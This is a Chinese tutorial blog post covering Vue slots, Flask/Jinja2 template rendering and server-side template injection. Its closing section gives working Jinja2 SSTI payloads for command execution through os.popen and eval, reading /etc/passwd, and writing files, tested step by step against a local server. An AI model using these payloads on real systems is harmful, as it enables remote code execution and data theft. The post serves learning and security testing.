其他分享
首页 > 其他分享> > SSTI服务器模板注入(以及关于渲染,solt的学习)

SSTI服务器模板注入(以及关于渲染,solt的学习)

作者:互联网

ssti服务器模板注入

ssti:利用公共 Web 框架的服务器端模板作为攻击媒介的攻击方式,该攻击利用了嵌入模板的用户输入方式的弱点。SSTI 攻击可以用来找出 Web 应用程序的内容结构。

 
slot

Slot的理解:solt是“占坑”,在组件模板中占好了位置,当使用该组件标签时候,组件标签里面的内容就会自动填坑(替换组件模板中位置),当插槽也就是坑有命名时,组件标签中使用属性slot=”mySlot”的元素就会替换该对应位置内容,可以实现父组件对子组件的传参,要注意是父组件传入子组件

<Child>

<span slot="header">hello world</span>

<span slot="main">hello world</span>

<span slot="footer">hello world</span>

<span slot="other">{{otherData}}</span>

</Child>


<template>

<div>

<slot  name=”header”>这是拥有命名的slot的默认内容</slot>

<slot  name=”main”>这是拥有命名的slot的默认内容</slot>

<slot  name=”footer”>这是拥有命名的slot的默认内容</slot>

<slot  name=”other”>这是拥有命名的slot的默认内容</slot>

</div>

</template>

作用域插槽:

  <ul>

      <slot name="item" v-for="item in items" :text="item.text" :myname="item.myname" >

         slot的默认内容

      </slot>

   </ul>


   <Child>

      <template slot="item" scope="props">

        <li>{{props.myname}}</li>

      </template>

   </Child>

https://www.jianshu.com/p/ee9dd640f23a
https://www.jianshu.com/p/50dcf932a159
https://blog.csdn.net/kingov/article/details/78293384?utmmedium=distribute.pcrelevant.none-task-blog-BlogCommendFromMachineLearnPai2-10.nonecase&depth_1-utmsource=distribute.pcrelevant.none-task-blog-BlogCommendFromMachineLearnPai2-10.nonecase

Flask框架

render_template模板渲染
@app.route('/login.php')
def index():
    return render_template('temp_demo1.html')

该函数能将我们模板的内容进行渲染返回。

@app.route('/login.php')
def index():
    my_str = 'Hello'   //传入的数据
    my_int = 10
    my_array = [3, 4, 2, 1, 7, 9]
    my_dict = {
        'name': 'xiaoming',
        'age': 18
    }
    return render_template('temp_demo1.html',    //html文件
          my_str=my_str,      //传过去的宏
          my_int=my_int,
          my_array=my_array,
          my_dict=my_dict
                           )

模板代码:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
</head>
<body>
我的模板html内容
<br/>{{ my_str }}    //调用了传来的宏
<br/>{{ my_int }}
<br/>{{ my_array }}
<br/>{{ my_dict }}

</body>
</html>

我的模板html内容 
Hello
10 
[3, 4, 2, 1, 7, 9] 
{'name': 'xiaoming', 'age': 18}
if判断语句
{%if user.is_logged_in() %}
    <a href='/logout'>Logout</a>
{% else %}
    <a href='/login'>Login</a>
{% endif %}
循环语句
{% for post in posts %}
    <div>
        <h1>{{ post.title }}</h1>
        <p>{{ post.text | safe }}</p>
    </div>
{% endfor %}

为了避免反复地编写同样的模板代码,出现代码冗余,可以把宏写成函数以进行重用。
定义一个宏:

 {% macro input(name,value='',type='text') %}
       <input type="{{type}}" name="{{name}}"
              value="{{value}}" class="form-control">
   {% endmacro %}

调用宏:

{{ input('name' value='zs')}}

输出:

<input type="text" name="name" value="zs" class="form-control">

包含:

{% include 'hello.html' %}

继承:

{% extends 'base.html' %}
{% block content %}
ssti漏洞

关于ssti漏洞,我们有render _ template函数以及render_ template _string函数,他们都是提供渲染的。
原理:模版引擎一般都默认对渲染的变量值进行编码和转义,所以并不会造成跨站脚本攻击,但是当渲染的模版内容受到用户的控制就如同下面方式:
"Hello {$_GET['name']}"(这里是php,在python也不要直接%s进行拼接)
此时这段代码在构建模版时,拼接了用户输入作为模板的内容,现在如果再向服务端直接传递 JavaScript 代码,用户输入会原样输出,服务端相信了用户的输出。
同时,模板引擎对于{{ 变量 }} 除了可以输出传递的变量以外,还能执行一些基本的表达式然后将其结果作为该模板变量的值,例如{{2*10}},那么会直接的进行执行输出20.

ssti之命令执行

在python环境当中我们的命令执行需要使用os模块以便我们调用系统命令。
payload:

#python3
#命令执行:
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}{% endif %}{% endfor %}
#文件操作
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}
#python2
#读文件:
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
#写文件:
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/1').write("") }}

关于上方payload的实现,我查看了这些属性的含义:

__class__  返回类型所属的对象
__mro__    Method Resolution Order代表着解析方法调用的顺序,他会返回一个包含对象所继承的基类元组,会按照元组的顺序解析。
__base__   返回该对象所继承的基类
__base__和__mro__都是用来寻找基类的

__subclasses__   每个新类都保留了子类的引用,dump所有存在于应用程序中可引用的类
__init__  类的初始化方法
__globals__  对包含函数全局变量的字典的引用

分步查看:
http://127.0.0.1:5000/test/?id={{%20%27%27.__class__}}
此时返回:
<type 'str'> //返回类型所属的对象为str,也确实因为我们前边设置了''这个空字符串

接下来我们使用mro属性访问对象的继承类 http://127.0.0.1:5000/test/?id={{%20%27%27.__class__.__mro__%20}}
此时返回:
(<type 'str'>, <type 'basestring'>, <type 'object'>)
我们加上数组:http://127.0.0.1:5000/test/?id={{%20%27%27.__class__.__mro__[1]%20}} 返回:
<type 'basestring'> //此时第一类就是basestring

此时我们想追溯根对象类:查看object,利用subclassesdump所有存在于应用程序中可引用的类。
http://127.0.0.1:5000/test/?id={{%20%27dd%27.__class__.__mro__[2].__subclasses__()%20}} 返回:

[<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>...还有很多] 

我们在添加一个数组让他单个输出:
http://127.0.0.1:5000/test/?id={{%27%27.__class__.__mro__[2].__subclasses__()[1]}}
此时输出:
<type 'weakref'>看到了元组的第一个元素。
因为此时我们想要执行命令,我们要对我们这个类进行初始化利用:

__init__  类的初始化方法
__globals__  对包含函数全局变量的字典的引用

调用类索引使用read方法打开文件: //写的话我们可以使用write。
{{ ''.__class__.__mro__[2].__subclasses__()[67]('/etc/passwd').read() }}其中[67]是<type 'file'>类索引,我们就这样直接打开了。
也可以''.__class__.__mro__[1].__subclasses__()[118].__init__.__globals__['popen']('NEWS.txt').read() 这些都成功的读取到了文件。

命令执行: 我们找到os模块,利用脚本:

for a in range(0,444):
    i=' '.__class__.__mro__[1].__subclasses__()[a]
    print(a)
    print(i)

payload:
{{''.__class__.__mro__[1].__subclasses__()[118].__init__.__globals__['popen']('命令').read()}}这样就可以了。

当然我们也可以自己编写好flask语句然后执行。例如:

http://127.0.0.1:5000/login?name={% for item in person %}<p>{{ item, person[item] }}</p>{% endfor %}   

标签:__,.__,__.__,SSTI,solt,my,class,模板
来源: https://www.cnblogs.com/ophxc/p/12884193.html